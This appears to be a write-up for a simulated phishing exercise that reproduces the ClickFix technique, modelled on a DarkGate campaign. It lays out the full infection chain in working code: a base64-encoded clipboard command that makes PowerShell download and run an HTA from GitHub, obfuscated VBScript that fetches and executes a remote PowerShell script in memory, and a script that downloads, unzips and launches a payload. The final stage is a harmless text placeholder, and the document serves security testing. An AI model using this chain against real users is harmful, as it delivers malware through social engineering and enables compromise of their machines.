Infection chain:

1. Receive `Invoice.html` inside password protected zip `workstations_07142024.zip` in phishing email.
2. Unzip using password `infected` and open `Invoice.html` then click the fix button and follow instructions.
3. Open a run prompt and paste command to run.
4. `ERP.hta` is downloaded to `C:\Users\Public` and executed.
5. `GDb.ps1` is run directly from remote source which downloads the final payload.
6. `end.zip` is downloaded to `C:\Temps\`, unzipped and executed.
7. `end.txt` is launched in notepad from `C:\Temps\`.
8. End of exercise, this is when AutoIT is used to run a script which will load and execute the malware and connect to a C2.

Details:

Invoice.html

There are four base64 encoded components in this file, along with JavaScript at the end to create the modal window and modify the clipboard value. The first B64 element being the fake Microsoft Word menu bar image. The second B64 element is the Word logo in the top left of the modal window. The third B64 element is the Windows logo in the key combinations line of the modal. Lastly the B64 in the title element is the part we are concerned with, the command that is copied to the clipboard for user execution.

```
Y21kIC9jIHN0YXJ0IC9taW4gcG93ZXJzaGVsbCAkREMgPSAnYzpcdXNlcnNccHVibGljXEVSUC
5odGEnO2ludm9rZS13ZWJyZXF1ZXN0IC11cmkgaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRl
bnQuY29tL1NlYXNjb3BlLUFyZy9Tb3VuZGNhcC9tYWluL3NyYy9FUlAuaHRhIC1vdXRmaWxlIC
REQztzdGFydC1wcm9jZXNzICREQztTZXQtQ2xpcGJvYXJkIC1WYWx1ZSAnICc7ZXhpdDs=

cmd /c start /min powershell $DC = 'c:\users\public\ERP.hta';invoke-
webrequest -uri https://raw.githubusercontent.com/Seascope-
Arg/Soundcap/main/src/ERP.hta -outfile $DC;start-process $DC;Set-Clipboard
-Value ' ';exit;
```

From here all of the necessary files are located and gathered automatically from a mock GitHub repository created for this exercise. This repo was built to mimic a plausible piece of software that engineers might use. All of the relevant files are located in the `/src/` directory.
https://github.com/Seascope-Arg/Soundcap/tree/main/src

ERP.hta

This file is fetched using PowerShell `Invoke-WebRequest` in the previous step. The file is placed in `C:\Users\Public` and executed.

The HTA contains lightly obfuscated PowerShell used to fetch and execute another PowerShell command from the same GitHub folder, without writing the script to disk.

```
<script type="text/vbscript">
        Sub Window_OnLoad
        invokeRest = replace("-C--o--m--m--a--n--d-- I--n--v--o--k--e-E--
xp--re--ss--i--o--n-- --(i--rm -Ur--i
'https://raw.githubusercontent.com/Arcsin002/notes/main/test2/GDb.ps1')","
--","")
shellApp = replace("--S--h--e--l--l--.--A--p--p--l--i--c--a--t--i--o--n--
","--","")
powerShell = replace("--p--o--w--e--r--s--h--e--l--l","--","")
CreateObject(shellApp).ShellExecute powerShell, invokeRest ,"","",0
```

GDb.ps1

This script is accessed from the same GitHub repo but not written to disk. This script fetches the final payload which creates a new directory called `C:\Temps\`, writes the payload to this directory, unzips it, and launches the text file contained.

```
ni 'C:/Temps/' -Type Directory -Force;cd 'C:/Temps/';Invoke-WebRequest -
Uri "https://github.com/Arcsin002/notes/raw/main/test2/end.zip" -OutFile
'end.zip';Expand-Archive -Path 'end.zip' -DestinationPath
'C:/Temps/';start 'C:/Temps/end.txt'
```

end.txt

The text file represents the final payload which was originally a portable executable for AutoIT, and an AutoIT script to be executed by it. The script originally infected the endpoint with a malware loader called Darkgate.

```
End of excercise.

This represents the exe payload that calls to C2.
```

Additional support files:

workstations_07142024.zip

This is a backup of the initial HTML file which launches the infection and may be manually downloaded by the tester if the phishing email is blocked, quarantined, or otherwise cant be delivered.

servers_07212024.zip

This contains the cleanup script which removes the artefacts which were written to `C:\Users\Public` and `C:\Temps\`. It does not remove the initial payload which will need to be removed manually by the tester if it was not removed by the SOC analyst.

Sources:

McAfee technical analysis:
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/clickfix-deception-a-social-engineering-tactic-to-deploy-malware/

Github Repository:
https://github.com/Seascope-Arg/Soundcap